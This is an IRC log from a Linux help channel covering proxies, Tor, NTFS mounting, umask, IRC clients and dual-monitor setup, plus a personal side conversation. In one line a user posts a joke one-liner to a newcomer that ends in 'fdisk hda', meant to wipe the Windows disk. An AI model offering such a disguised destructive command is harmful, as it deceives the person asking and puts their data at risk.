should block when set to cautious. [21:06] PeterFA: oh ha. well you could google for 'porn' [21:06] PeterFA, pick any porn and/or warez sites [21:06] :P [21:06] PeterFA: or 'nintendo emulator' [21:06] nintendo emulator seems safest :p [21:06] yeah. [21:06] rusty- (n=G33k@84.36.13.101) joined #linuxhelp. [21:06] I havent noticed them being as bad on emulator sites.. [21:06] now the ROM sites..... [21:06] Hello [21:06] may be roughly equivalent though [21:06] I usually log in at text mode run level 3 and I'm running Slackware 10.1 with icewm and no problems at all. I want to use runlevel 4 graphical login with GDM and it works ok, but when I try to use any mixer, ( I usally use aumix) I get none. I can still play music cds and mp3s with xmms, but i can not adjust the volume. Even dvds play in mplayer but again no mixer available. I have a sound blaster clone and am using oss sb driver loaded at boot in /rc.d/rc.m [21:06] PeterFA: yeah maybe "super mario rom" [21:07] albino (n=albino@alt.nafpik.com) joined #linuxhelp. [21:07] How do I put a tab character in at the shell? [21:07] oh the indecencies which poor mario must endure in order to propagate [21:07] Heh - BitTorrent - the good way to get all the rims. >:) [21:07] roms.. lol [21:07] funboy8943 (n=funboy@c-24-10-48-58.hsd1.ca.comcast.net) joined #linuxhelp. [21:08] sybarite1 (n=jake@h39n1c1o986.bredband.skanova.com) joined #linuxhelp. [21:08] anyone happen to know what might make windows run checkdisk everytime I boot it after booting linux on a dual boot sys, and how to convince windows to stop [21:09] wow, privoxy is working, yeah [21:09] I checked my homepage :p [21:09] http://upsidedown.dyndns.org which has some google ads. [21:09] PeterFA: hooray [21:10] #linuxhelp (+ctrn) : [m/123 o/0 h/0 v/0 n/123 b/19 e/- I/-] [21:10] PeterFA: good job. [21:10] Action: PeterFA dances. [21:12] Now lets see if I can hide my ip via proxy [21:12] Sonic[out] (n=anomaly@212.200.136.15) left irc: SendQ exceeded [21:12] there's still ways to find the original proxy if their determined enough [21:12] I mean IP [21:12] Yeah [21:13] It's still nice to have a little cover for my various illeagle activities, er normal average everyday user things. [21:13] lmao, it's called a public AP =P [21:13] most effective "proxy" [21:13] I tend to use the adblock extensions for firefox. [21:14] I did use Privoxy for some time. Guess ya could use them both with no harm [21:15] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [21:16] funboy8943, yeah, well, I want to set up my PC to use som public proxies for everything. [21:16] esp. for P2P. [21:16] yea [21:17] Do I do this with Privoxy or with Tor? [21:17] I have both installed. [21:17] I have a machine that dual boots linux and XP, everytime I boot windows after running linux it runs checkdisk. Any ideas? [21:17] Interesting.,. [21:18] You mountign your NTFS drives? [21:18] ya, wanted to access my music [21:18] mountign them read only i hope? [21:18] of course [21:18] throwback1986 (i=moore@cpe-70-120-66-240.satx.res.rr.com) joined #linuxhelp. [21:18] DrBair (n=ryan@c-67-186-55-131.hsd1.pa.comcast.net) left irc: Remote closed the connection [21:18] at least that's how they should be mounted [21:19] huh, funboy8943 I have no idea why. [21:19] This interests me. [21:19] it drives me nuts =/ [21:19] ... [21:19] What I wonder is this, why are you booting to Windows? [21:19] lmao, cause I game [21:19] The only good NTFS partition is a deleted one. [21:19] :P [21:20] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [21:20] funboy8943, tsk tsk. There are some really good Linux games. [21:20] you could keep your mp3's on the linux partition.. [21:20] Dr_Willis, I'd do that if I didn't have 30GB worth on a 60GB laptop HDD [21:20] you can access the linux partitiobns from within windows :P [21:21] but it is VERY VERY odd that xp is doing that. [21:21] yea [21:21] so no ideas? [21:21] the only time ive ever seen linux do that - is after running gparted [21:21] how do you access linux partitions from xp? [21:21] or do this ;) : mkdir ~/mp3s;find /mnt/[windowsxp] -iname '*.mp3' -exec copy {} ~/mp3s \;;fdisk hda [21:21] can someone help me setup exim? [21:22] sybariten (n=jake@h169n1c1o986.bredband.skanova.com) left irc: Read error: 110 (Connection timed out) [21:22] ok, that reminds me, I did use a knoppix live to make enough room for linux [21:22] And that will fix0r all your problems with Windows Ever [21:22] (it will delete it) [21:22] I know what it will do =P [21:22] funboy8943, yea - in order to do that.. I always defrag/scandisk windows befor.. then resize then again then afterwards [21:22] Ok, I need to make sure [21:22] fortunately I know enough to recognize an fdisk when I see one =P [21:23] funboy8943, I actually should have told you the warning first. [21:23] ok, well I had just defragged [21:23] np [21:23] It is improper to tell someone this, the poor sap might execute something that he doesn't want. [21:23] thats good then [21:23] believe me, the solution I'd love to use for winderz is format C: [21:24] but anyway, windows booted up fine after resize, and it passes checkdisk everytime [21:24] for some reason windows thinks there's something wrong every time I boot linux [21:24] Dr_Willis: you do you access linux partitions from xp? [21:24] ... [21:24] It's right :) [21:24] but if I restart windows, no linux in the middle, it works fine [21:24] _wraith (n=wraith@60-234-152-3.bitstream.orcon.net.nz) joined #linuxhelp. [21:24] rickest, al the time :p [21:24] Dr_Willis: s/you/how/ [21:24] I wonder what's going on. [21:25] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [21:25] Jenna (n=cherryRe@209.8.233.247) joined #linuxhelp. [21:25] There's no way Linux is writing to the partition. [21:25] http://www.fs-driver.org/ [21:25] ... [21:25] ty [21:25] yea, I might check permissions make sure, but I'm pretty sure I set read/execute only [21:25] PeterFA, im wondering if the windowx box never scaned/checked it right in the first place [21:25] ext2 only! [21:25] Lemme see the pertenent line in your fstab [21:25] rickest, it reads ext3 fine. [21:25] <_wraith> mild problem with kontac in kde 3.4....when I open an external browser or click a link it opens konqueror from the cache in text mode, any idea where I went wrong? [21:26] PeterFA, me? [21:26] rickest, :P read some more.. lol [21:26] yes [21:26] Dr_Willis: how about reiserfs? [21:26] rickest, you are S.O.L then [21:26] :P [21:26] I think [21:26] PeterFA, wish I could, I'm in windows right now, linux was refusing to get an IP [21:26] Dr_Willis, maybe you're right. I shouldn't assume that the scanner worked perfectly. [21:26] Dr_Willis: still that's cool, didn't know about it. thanks [21:26] ext3 == ext2 + journal [21:27] PeterFA, you are correct :P [21:27] Thank you, wasn't totally and completely sure that was absolutely true. [21:27] PeterFA, this is from memory so take it with a grain of salt [21:27] its a neat feature that older kenrels can read a ext3 as if its ext2. [21:28] k [21:28] funboy8943, you could just download a proggy that mounts ext partitions so you can copy it from the partition. [21:28] tru, but I think I've got it =P [21:28] " [21:29] sybarite1 (n=jake@h39n1c1o986.bredband.skanova.com) left irc: Read error: 110 (Connection timed out) [21:29] "/dev/hda1 /windows auto,user,umask 0000 0 0 [21:29] I believe that's it [21:29] auto? [21:29] yah [21:29] Hmm.. force it to mount read only [21:29] and i got NO idea waat that umask would do. :P its a non-mask I think [21:30] bMotion: running level 4 self-diagnostic [21:30] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [21:30] hmm, a friend sent that to me, I was having trouble and it was working w/ his linux machine [21:30] i normally set the uid and gid options. [21:30] so how do I mount read only, I'm still fairly new to linux, btw I'm using vidalinux 1.2 [21:30] /dev/hda1 /windows ntfs ro,otehroptions here [21:31] gee never even heard of vidaLinux :P [21:31] lmao =P [21:31] I ran into somebody in the mythTV channel who'd never heard of it [21:32] <_wraith> have a look at the umask, it sets permissions I think (thats my two cents anywway and Im a very beginner) [21:33] umask is a mask that is subtracted from the default permissions value. [21:33] aight, well any inputs appreciated, I've been using linux since... uhm... sunday [21:33] =P [21:33] so if the default was say 777, and umask was 222 - the files would default to '555' [21:33] <_wraith> ok [21:33] actually I tried VLOS 1.1, had issues, this is a second try [21:33] or simthing like that :P [21:33] dont ask me where the default comes from [21:33] <_wraith> so thats not a problem then [21:33] Dr_Willis, ok, well what u just said made almost no sense [21:33] actually its a bit mask not just subtraction.. so i get dizy when i think abouit it. [21:34] I've seen the #777 before, and I understnad it's permissions, but don't entirely understand [21:34] how it works [21:34] if the default file permissions are XXX - and umask is 000 = then the default permissions sould be identical as if there was no umask option. [21:34] so umask=000 makes no sence to me. [21:34] now.. umask=002 - that makes sence. [21:35] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [21:35] <_wraith> you cold try adding defaults in that weould give you rw, suid, dev, exec, auto, nouser, and async. [21:35] now i got myself confused... [21:35] wraith, since I'm mounting ntfs I don't want write options, read only is the idea [21:35] <_wraith> do you want my nfts then? [21:36] Dr_Willis, at the end of that fstab line u said "otheroptions here" what other options might be useful? [21:36] <_wraith> ntfs defaults,umask=0222 0 0 [21:36] funboy8943, man mount, or man fstab [21:36] :P [21:36] <_wraith> that works fine in mine [21:36] proberl y not too many you need. [21:36] ok, thanks [21:36] but 'ro' will be read only [21:36] ah, ok [21:36] makes sense now that I think about it [21:37] Egads it does! [21:37] explain it to me! :P [21:37] one last question, what's a good irc client for linux? [21:37] I user Xchat under windows and linux [21:37] :P [21:38] funboy8943: weechat for console [21:38] <_wraith> konversation is what I am using [21:38] i tend to use irssi for console [21:39] wow... that's a lot, so will Xchat be pretty easy to configure and get into irc w/ [21:39] thats a lot? [21:39] 3 clients? [21:39] lol [21:39] <_wraith> lmao [21:39] ok well it was a lot of input =P [21:39] I had a long day [21:39] <_wraith> cest la vie [21:40] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [21:40] for windows - check out the 'free' versions of xchat. the 'official' one has a shareware issue. :) [21:40] heh, thnx, I use trillian since I use AIM, MSN, and IRC a little, so it's a good all in one [21:41] IM -> Ugh! irc is the one true chat! [21:41] <_wraith> lol [21:41] tell that to my non-tech friends [21:41] =P [21:41] Action: ddttmm uses bitlbee.org for irc-to-IM proxy [21:41] <_wraith> ware msn at the moment, theres and exploit posted [21:41] albino (n=albino@alt.nafpik.com) left #linuxhelp. [21:41] thnx for the warning, I've found trillian seems to be pretty secur [21:41] e [21:42] my home lan gets more *$*@#&*&@ spyware/crud/ect. friom the kids and wifes on IM cluients then anything else. [21:42] lmao [21:42] go router firewall, zone alarm, and avg =) [21:42] and the dang 'wrapper' stuff on the idiotic themes FOR the IM clients.. that have spiware in them [21:42] <_wraith> nod32 was the best av I found [21:42] <_wraith> don't need it now though [21:43] <_wraith> :) [21:43] I had a virus shank my avg install on one computer, it was nasty [21:43] Action: mebsd help [21:43] ive gotten where i tell them to download the themes they want.. I then unpack them (run them) under wine on my box.. then copy the actual theme files abck to their machines. [21:43] I think it was the .wmf exploit about amonth ago [21:43] funboy8943, :) [21:44] Happy99.jpg.exe ! [21:44] :P [21:44] Dr_Willis, nice, I'm gonna emerge wine eventually just to play w/ viruses [21:44] lmao, CAN I HAVE!!! [21:44] http://pastebin.com/489779 <-- tor error (when executed as ordinary user) [21:45] #linuxhelp (+ctrn) : [m/121 o/0 h/0 v/0 n/121 b/19 e/- I/-] [21:45] <_wraith> oh well, see you later peoples [21:45] _wraith (n=wraith@60-234-152-3.bitstream.orcon.net.nz) left #linuxhelp ("Konversation terminated!"). [21:45] adios [21:46] well I'm gonna go try and boot linux, see if I can't get winderz to suck a little less, and look into Xchat [21:46] thanks for the help [21:46] funboy8943, yep. :P i uise it to run spyware installers to see what they install. [21:47] fun, I thought it would be entertaining just to destroy winderz [21:47] funboy8943 (n=funboy@c-24-10-48-58.hsd1.ca.comcast.net) left #linuxhelp. [21:47] thats so easy to do its dull. :P [21:48] destroy windows? easy, surf the web with ie6 [21:48] ie 2.0 [21:48] Mosaic [21:49] Hmm what was that URL for the 'old browsers' [21:49] http://browsers.evolt.org/ [21:50] #linuxhelp (+ctrn) : [m/119 o/0 h/0 v/0 n/119 b/19 e/- I/-] [21:51] Dr_Willis (i=willis@12-222-81-183.client.insightBB.com) left #linuxhelp ("Leaving"). [21:53] riddlebox (n=james@24-171-11-166.dhcp.stls.mo.charter.com) left irc: "Leaving" [21:55] #linuxhelp (+ctrn) : [m/117 o/0 h/0 v/0 n/117 b/19 e/- I/-] [21:58] sideone (n=sideone@adsl-070-155-242-066.sip.mia.bellsouth.net) joined #linuxhelp. [21:58] im getting the following error from sasl, ns1 saslauthd[8083]: in openpam_load_module(): no pam_unix_auth.so found [21:58] anyone know where to find that file? [22:00] #linuxhelp (+ctrn) : [m/118 o/0 h/0 v/0 n/118 b/19 e/- I/-] [22:00] Writing user file... [22:00] Writing channel file... [22:00] Blast. tor errors because it cannot switch id. Two lines in the config file tell it to switch to tor of user and group. Well, I checked, those do exist properly. Of course tor will run as root. How do I make it run as ordinary user, and switch to tor/tor? [22:00] anyone suggest the best linux live cd with kde? [22:00] linuxnoob (n=icechat5@69.151.15.107) left irc: Read error: 104 (Connection reset by peer) [22:01] bMotion: autosaving facts... [22:01] mebsd: knoppix? [22:01] mebsd: you want an answer to an impossible question, or do you want to know someone's personal favorite? [22:01] mebsd: no such thing as "best".... try knoppix.org [22:01] daniel_ (i=daniel@unaffiliated/daniel) joined #linuxhelp. [22:02] mebsd: or else state some specific criteria [22:02] dabicho (n=dabicho@dsl-201-129-237-121.prod-infinitum.com.mx) left irc: "Leaving" [22:02] mebsd: such as disaster recovery, newbie-friendliness, hardware compatibility, gamer, etc [22:02] with kde 3.5 [22:04] nlight (n=nlight@85.187.173.231) joined #linuxhelp. [22:05] #linuxhelp (+ctrn) : [m/118 o/0 h/0 v/0 n/118 b/19 e/- I/-] [22:05] sideone (n=sideone@adsl-070-155-242-066.sip.mia.bellsouth.net) left #linuxhelp. [22:06] bedouin (n=bedouin@c-24-3-195-60.hsd1.pa.comcast.net) joined #linuxhelp. [22:06] Anyone aware of a BBS software that could be compiled on Linux/PPC? Every package I'm finding has some sort of required x86-only binaries. [22:07] rage__ (n=rage@ool-43550d3d.dyn.optonline.net) joined #linuxhelp. [22:08] bedouin: what is x86-only? [22:08] qterm is a BBS client.... [22:08] bedouin: are you talking about a terminal emulator or a BBS? [22:08] nope.. bbs software [22:08] not clients [22:09] i have an imac running debian I wanna put a bbs on as well.. would rather not run an old Mac-based bbs in mac on linux [22:09] but that looks like the only option [22:09] bedouin: so what software is ia32-only? [22:10] #linuxhelp (+ctrn) : [m/119 o/0 h/0 v/0 n/119 b/19 e/- I/-] [22:10] eh.. synchronet.. elebbs.. bbbs.. [22:10] I'm trying to set up duel moniters (two vid cards) on a fresh ubuntu install.... The config file seems find... but i'm still not getting display on the 2nd moniter... i here it init but no display at all [22:11] bedouin: there is an irc network somewhere that has a channel for bbs operators [22:11] bedouin: i forgot what it is or how i found it, but it's commonly referenced when researching bbs software. [22:11] ok [22:11] some of them use linux [22:11] sort of in the early stages of this [22:11] no rush like here was 15 years ago [22:11] just a hobby [22:11] i am astonished if anyone uses binary only software in the BBS community [22:12] ddttmm: very common [22:12] bedouin: what, were you a professional BBS operator? [22:12] i mean binary only for the immediate deps, that is [22:12] bbs... oh the joys [22:12] obviously you might rig up an old door game through a DOS virtual machine or something. [22:12] well.. some have source .. but they only build on x86 because of dependent libraries [22:12] bedouin: yeah that's what amazes me. linux-based proprietary libraries for a hobby system. [22:13] i got WWIV to build.. but couldn't get it going [22:13] professional? I dunno.. what do you consider professional [22:14] bedouin: i have a friend who runs a bbs on OS/2 [22:14] bedouin: i consider proprietary software to imply professoinal use [22:14] bedouin: and i consider non-hobby to be professoinal [22:14] s/oi/io/ [22:14] when I was running wildcat .. I guess [22:14] i later moved to renegade.. which now you can obtain the source for [22:15] #linuxhelp (+ctrn) : [m/119 o/0 h/0 v/0 n/119 b/19 e/- I/-] [22:15] I can't remember what it was like then [22:15] bedouin: you did it professionally huh? [22:15] i think WWIV source was always out there [22:15] i ran that for a short period too [22:15] I used to run Remote Access [22:16] i ran one that i can't find and can't remember the name of. [22:16] obv/2 was cool [22:16] aVh (n=aVhereti@203.145.188.150) left irc: Read error: 60 (Operation timed out) [22:16] it had a multitasking kernel of sorts, in a DOS app, was multitasker-friendly (i ran it in OS/2), and was written in a pascal derivitive which you could write anything in. [22:16] desqview [22:16] ? [22:16] i thought it was QBBS but i don't know. [22:17] bedouin: no the BBS itself had a crude multitasking subsystem of sorts [22:17] so i wrote modules in this fake pascal [22:17] i thought it had a short name which started with Q or K. [22:17] rickest (n=rickest@dsl50.hotsprgs.net) left irc: "WeeChat 0.1.6" [22:17] bedouin: i spent days googling and asking the BBS people in that channel, and nobody knew [22:18] that's very irritating [22:18] also it had ANSI and ripscrip [22:18] how the hell could you forgot [22:18] bbs was life [22:18] bedouin: ha, because i discovered real operating systems and networks [22:18] daniel (i=daniel@unaffiliated/daniel) left irc: Read error: 110 (Connection timed out) [22:18] i was about 17-18 yrs old at the time. [22:18] i think I shut my board down in 95 [22:18] my phone was busy 24-7 [22:19] went to college at ksu which had a sunos based network and said "screw that noise" [22:19] from me being on the net [22:19] so I just said forget [22:19] yeah. [22:19] i scoured the net and built the best Doom BBS in the area. i had about 400 MB of WAD files [22:19] i had a local CAD engineer contributing custom WADs [22:20] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [22:20] anybody know how to get a duel moniter setup working under x? [22:20] i never found a niche audience.. which is why my bord was never the top called bbs [22:20] not that I coudln't.. I didn't want to [22:20] I just wanted it to reflect things i was interested in.. and if you liked it.. cool [22:20] bedouin: yeah. [22:22] blackvd (n=blackvd@cpe-24-27-22-70.austin.res.rr.com) joined #linuxhelp. [22:22] need help getting a static IP in Ubuntu [22:23] blackvd: edit /etc/network/interfaces file..... [22:23] rage__: did you run 'X -configure' or whatever it is [22:23] k thanks [22:24] rage__: that'll generate a new xorg.conf [22:24] i have an xorg.conf [22:24] rage__: okay that's not what i asked. [22:25] #linuxhelp (+ctrn) : [m/117 o/0 h/0 v/0 n/117 b/19 e/- I/-] [22:25] works for one moniter.... it looks like it should work for another but no i have'nt tried X - configure [22:25] rage__: ok that'll autodetect all hardware [22:25] sorry bout that ddttmm hit enter to soon [22:25] sparr (i=sparr@pdpc/supporter/active/sparr) joined #linuxhelp. [22:25] rage__: so that should help or should work. you should back up your xorg.conf as much as possible. [22:26] rage__: also check for hardware conflicts like irq [22:26] blackvd: real living example at http://pastebin.com/489815 [22:27] rage__: xinerama howto at www.tldp.org explains it all [22:27] rage__: pretty easy really... man xorg.conf should help too.... [22:27] awol: yeah it's easy with autodetection [22:27] in most cases [22:28] rage__: if not then it can be hard, with not much in between ^_^ [22:28] yeah the settings all look right its just not working gonna try x -configure real quick brb [22:28] ddttmm: well i usually start with X -configure then hand tweak the config a little... swap server layout around for example.... [22:28] yeah. [22:28] rage__: it's X -configure and NOT x -configure [22:28] linux is case sensitive so you should be too [22:29] i am for the most part [22:29] just not on irc at 1 am [22:29] is that why you're a little rager and not in a huge RAGE? [22:30] bMotion: running level 4 self-diagnostic [22:30] #linuxhelp (+ctrn) : [m/118 o/0 h/0 v/0 n/118 b/19 e/- I/-] [22:30] yeah well... i'm sick irc addict too..... but no one's perfect! *shrug* [22:30] lol [22:30] gentlemen, i too have a confession to make. i didn't actually laugh out loud just now. [22:30] I was hopeful, but it just didn't happen. [22:31] oh! but i did just then. so i guess it's cool. [22:31] also, i'm an irc addict. [22:31] and i got my @#*%)@&* xfs module loaded. [22:31] lol (to bad thy don't have an abv. for a slight chuckle) [22:31] yellow pages.... under psychiatry... should help.... NEXT! [22:31] lolz. [22:31] this is a help channel? no? [22:32] awol: and you're the compassionate one. thanks, man. [22:33] earlier tonight, it was #linuxangstyantagonisticharassment [22:33] i was about to suggest a theme song of "Fucking Hostile" by Pantera. [22:33] i'm famous on efnet for my patience..... [22:33] cool. [22:34] even while i'm abusing some lame moron i'm still helping him/her with useful info..... [22:34] there's an art to that. [22:34] i tend to do that in #mplayer [22:34] and it's a win/win situation! [22:34] well i've found that by calling them morons they tend to remember what i tell them.... [22:34] if they're at all susceptible to learning that their true problem is lack of rtfm and of coherent communication. [22:35] #linuxhelp (+ctrn) : [m/118 o/0 h/0 v/0 n/118 b/19 e/- I/-] [22:35] and they're more careful to not make the same mistake again [22:35] awol: ah. i dont call names. i keep the insults subtle enough that they can interpret them optionally. [22:35] i have a rule... after i tell the same person the same damn thing 3 times they are "officially" a moron in my book.... [22:35] blackvd (n=blackvd@cpe-24-27-22-70.austin.res.rr.com) left #linuxhelp ("Leaving"). [22:35] until they learn better... [22:36] binarydigit (n=bdigit@unaffiliated/binarydigit) joined #linuxhelp. [22:36] is it possible for the "sort" command to sort files that have the say "filename[1-10].txt" in order from filename1.txt ... filename10.txt. Everytime I run the command I get it with filename10.txt,filename1.txt...filename9.txt [22:36] they seem to take it in good spirits mostly... once i explain my reasoning.... [22:36] GeniXPro (n=bradley@S0106000d889027fb.vf.shawcable.net) left irc: Remote closed the connection [22:36] awol: yeah but the bad thing is when the +o is just having a bad day and doesn't realize that some people learn and communicate differently (multiple intelligences and whatnot), but i still speak in sufficient histrionics and hyperbole that they can take it as either encouraging or as an insult, depending on what they're made of [22:37] binarydigit: smart sorting requires careful scripting... the abs guide has an example or two i believe [22:37] awol: abs guide? [22:37] binarydigit: advanced bash scripting guide at www.tldp.org [22:37] ah thanks [22:37] if they've got ADD or sleep deprivation then that's cool, i'll work with that. if they learn by example, i simply goad them into creating their own examples (i.e. get off your ass and try it rather than asking me what it does) [22:38] ddttmm: well i rarely actually ban anyone.... only ever for real channel abuse.... [22:38] yeah. [22:38] and they gotta be a real continual nuisance to get a perm ban [22:39] usually it's only ever for just a few minutes.... [22:39] i haven't had that since i've had +o [22:39] Action: awol shrugs [22:39] i just kicked a guy once. it's sad. [22:39] well i been on efnet for over a decade... the anarchists network [22:39] i dont care if they paste away or anything. i just don't want to drown in ignorant and/or hostile shit [22:40] #linuxhelp (+ctrn) : [m/117 o/0 h/0 v/0 n/117 b/19 e/- I/-] [22:40] freenode is a breeze compared to the assholes ya get on efnet [22:40] yeah i know meng. [22:40] ha! [22:40] the old school cybersociopaths [22:40] like moths to a light [22:41] but i earned over $1k in donations from grateful efnet folks last year.... [22:41] so i must be doing something right... [22:42] what?! [22:43] awol: by what means? the closest i've seen is affero.net [22:43] i dont recall if that has donations.. i think it's reputation mostly [22:43] personal donations directly to me.... [22:43] haaaaaa i'm running xfs_repair and preparing to mount. [22:43] <----- hacker [22:43] awol: unsolicited? [22:44] they just said "hey you're just a fine chap and i wanna give ya a paypal tip?" [22:44] funboy8943 (n=funboy@c-24-10-48-58.hsd1.ca.comcast.net) joined #linuxhelp. [22:44] and you said "kthx" [22:44] "i wont stop ya" [22:44] ddttmm: well when ppl hear what happened to me....... so i guess kinda solicited [22:44] awol: :-[ uhhh. [22:44] awol: well. so. what happened? [22:44] do you have a web page describing it [22:45] #linuxhelp (+ctrn) : [m/118 o/0 h/0 v/0 n/118 b/19 e/- I/-] [22:45] my partner walked off with my company and i lost out on a multi-million dollar contract.... [22:45] i'm broke, unemployed, and now suffering from malnutrition [22:45] :-. [22:45] manic depression hasn't helped much either... [22:45] awol: malnutrition due to unemployment and no moneys? [22:46] awol: you can get free food at various churches [22:46] yeah... i haven't had hot water in over a year... cant pay the gas bill... [22:46] i'm unemployed [22:46] freshly [22:46] that kinda poverty... after a decade or more... it grinds ya down... [22:46] i'm interviewing at google again [22:46] awol: yes i should like to say so [22:47] i read a homeless person's homelessness howto, and i must say that my lifestyle is almost entirely congruent with his [22:47] and yet i know linux quite damn well... but cant even get an interview for a job... [22:47] being 52 and an ex-taxi driver isn't very inspiring on a CV [22:47] awol: do you not have govt assistance? [22:48] awol: yeah. you don't have much linux experience? [22:48] i mean resume-worthy job history [22:48] yeah... a decade of welfare..... but i went off that while i was doing the company thang [22:48] k [22:48] can you go back on it? [22:48] no real world linux experience to speak of [22:48] awol: also note that various volunteer missions will feed and house you if you can travel there [22:48] i been back on it since my partner walked off [22:49] awol: such as MDS, rebuilding houses for hurricane victims [22:49] ddttmm: yeah i know all that... i'm no kid [22:49] i'm a grandfather actually [22:49] mhmm. [22:49] i do live in fairly cheap housing..... [22:49] awol: so you can't go on govt housing? [22:50] #linuxhelp (+ctrn) : [m/118 o/0 h/0 v/0 n/118 b/19 e/- I/-] [22:50] or move into cheaper housing like in a room in someone's house etc [22:50] i dont need housing... [22:50] what i need is employment [22:50] but it looks like i gotta restart my company again.... [22:50] yeah it sounds like the unemployment history would be a damper on the resume [22:50] coz i can do things with linux and wifi that local isp's apparently connannot [22:50] how about lower end employment like construction or temp agencies .. data entry etc [22:50] tech support [22:51] nope [22:51] i want to do wireless.... and run a wisp [22:51] oic i've done three of those [22:51] funboy8943 (n=funboy@c-24-10-48-58.hsd1.ca.comcast.net) left #linuxhelp. [22:51] in a two to four person owner/operator setting [22:51] i have several local isp's interested and several venture capitalists nagging me to draw up the contracts so they can throw money at me [22:51] i just have to pull my finger out [22:52] awol: ok. btw if you need contract help, see nolo press (try netlibrary.org if your local library doesn't have them) and see prepaidlegal.com or your state's nonprofit legal group for legal counsel [22:52] .au has more than 70% of the country cant get broadband or decent phone services [22:53] oh are you in .au? [22:53] ddttmm: what i need mostly now is a competent business manager.... that i can trust..... [22:53] awol: yeah which may mean that you need to become one. [22:53] :\ [22:53] well all i know and am interested in unfortunately is linux.... [22:54] at the beginning, you need to be able to do everything yourself or outsource it, since it's just a matter of accounting and contracts. [22:54] Ostehovel (n=null@084202023016.customer.alfanett.no) left irc: [22:54] so i may have to make some sacrifices if i want this to happen [22:54] that's the only real overhead [22:54] and you really really must be able to personally comprehend that enough to hand it to a prepaid lawyer or a temp accountant [22:54] or else there's still no true accountability [22:54] i also need to find myself a tech monkey that is not afraid of heights.... [22:55] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [22:55] i was up a 60ft tower yesterday.... and i'm getting too old for that crap... [22:55] yeah that's way beyond 'tech monkey' and into certifications and hard core HAM engineering experience [22:55] and some serious insurance. unless you don't mind taking someone else's life into your hands [22:55] good point... [22:55] 'tech monkey' need not apply unless you're suicidal [22:56] that's where the business manager comes in... [22:56] and homicidal [22:56] anyone mind dcc'ing me a text file or something? i'm trying to test a linux gatway to see if it support dcc yet. [22:56] i figure(hopeful) that $100K will be enough.... to get this started properly.... [22:56] the person has to have excellent equipment, about $300-600 and has to be certified or equivalent. that equals your local hard core HAM operator. [22:57] awol: yeah if you think step #1 is immediate total domination :) [22:57] otherwise, closer to $500 would do it [22:57] ddttmm: my new partner has extensive ham radio experience and spent 30 years helping to design .au's telco's cell phone network.... this guy will be making all our hardware..... [22:58] oh good [22:58] awol: is he willing to climb? [22:58] we make all our own antennas... from scratch... including slotted waveguides, biquads, colinear, and parbolic dishes..... all either 2.4Ghz or 5Ghz [22:59] ddttmm: nah he's 10 years older than me..... [22:59] he also can make circuit boards... so we're looking at designing our own wraps [23:00] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [23:00] Writing user file... [23:00] Writing channel file... [23:00] so we're looking at manufacturing as well as rolling out a network.... [23:00] probably around 5 or 6 seperate businesses or companies involved [23:01] bMotion: autosaving facts... [23:01] so that's why so much VC to begin with [23:01] :-. [23:01] why is that kind of concurrency required up front? [23:02] well it's not... it'll be setup with milestones etc.... but the overall plan has goals.... [23:02] why dont you just build a network and your business relationships (primarily with your partner) first, piecemeal, with long term contracts and up front payment incentives from your customers? [23:02] so as to minimize risk [23:02] haven't done much more than planning at this stage.... [23:02] i know nothing of legal business structures in .au but i hope you form a corporation with limited personal liability [23:03] as opposed to a true partnership [23:03] which is akin to marriage [23:03] legally [23:03] and imho should be abolished ;) [23:03] as we know it in the US. [23:04] well my problem with my ex-partner was no paperwork.... no contracts signed.... [23:04] so he just walked off with it [23:04] throwback1986 (i=moore@cpe-70-120-66-240.satx.res.rr.com) left irc: "Leaving" [23:04] mmhmm. [23:04] yeah so i guess my suggestion for prepaidlegal.com doesn't apply in .au but the principle probably does. [23:05] #linuxhelp (+ctrn) : [m/115 o/0 h/0 v/0 n/115 b/19 e/- I/-] [23:05] that site costs about $30/mo for access to a nationwide network of legal specialists [23:05] hopefully you can get that [23:05] that type of thing [23:05] anyway.... i have several options available... [23:05] k [23:05] bedouin (n=bedouin@c-24-3-195-60.hsd1.pa.comcast.net) left irc: "Leaving" [23:05] awol: i heard that .au has a fairly consistant dole program [23:05] does it work ok? [23:06] well the dole harrasses you to prove you've been looking for work... [23:06] mako-sama (i=1000@82.194.56.127) joined #linuxhelp. [23:06] yeah. [23:06] awol: is it unfair? [23:06] and they dont care if you have a master degree in genetic engineering if you turn down a dishwasher's job yoyu get cut off [23:06] awol: yeah. [23:06] awol: do they apply for jobs for you? [23:06] awol: Kansas is about the same [23:07] no. but you have to provide proof that they can verify that you actually applied for work [23:07] an unemployment lawyer told me Kansas is a "right to work" state, which means "right to starve", according to her. [23:07] that's not comforting [23:07] it's EMPLOYER FRIENDLY [23:07] \o/ [23:08] yup! and they changed the laws here recently to make it even more employer friendly [23:08] i've got proof by way of text file with basic contact info and dates. [23:08] that worked in California. [23:08] i ended up having to move to the middle of nowhere (western kansas) to get a job at a tiny motel [23:08] i n s a n e [23:08] ddttmm: the weird part is i could be employing more people if the bloddy dole office would help me start my company.... [23:09] que sera... [23:09] ok so you should get customer contracts, get an upstream circuit, get AP colo contracts (seek exclusivity), get equipment prepayments, and start deploying [23:10] #linuxhelp (+ctrn) : [m/115 o/0 h/0 v/0 n/115 b/19 e/- I/-] [23:10] not quite that simple... [23:10] your upstream circuit could be something like DSL for now, although that probably violates AUP [23:10] ISP operations is all about social networking [23:11] especially wisp [23:11] due to location basis [23:11] for advanced commentary, see #wireless on freelode [23:11] i'm connecting currently via an 802.11b link to my friends 60 ft tower(about 600 meters away) and then to a cable connection [23:11] k [23:12] 60' is not bad [23:12] do you have a local free small business advisor [23:12] coz everyone needs one [23:12] last year i was running a network of around 40 or so AP's spread all over adelaide's city and suburbs [23:12] that alone is a competitive edge coz nobody uses them [23:12] kreg_ (n=kreg@12.160.232.30) left irc: "Leaving" [23:12] that and cheap lawyers and contracts [23:12] kreg (n=kreg@12.160.232.30) joined 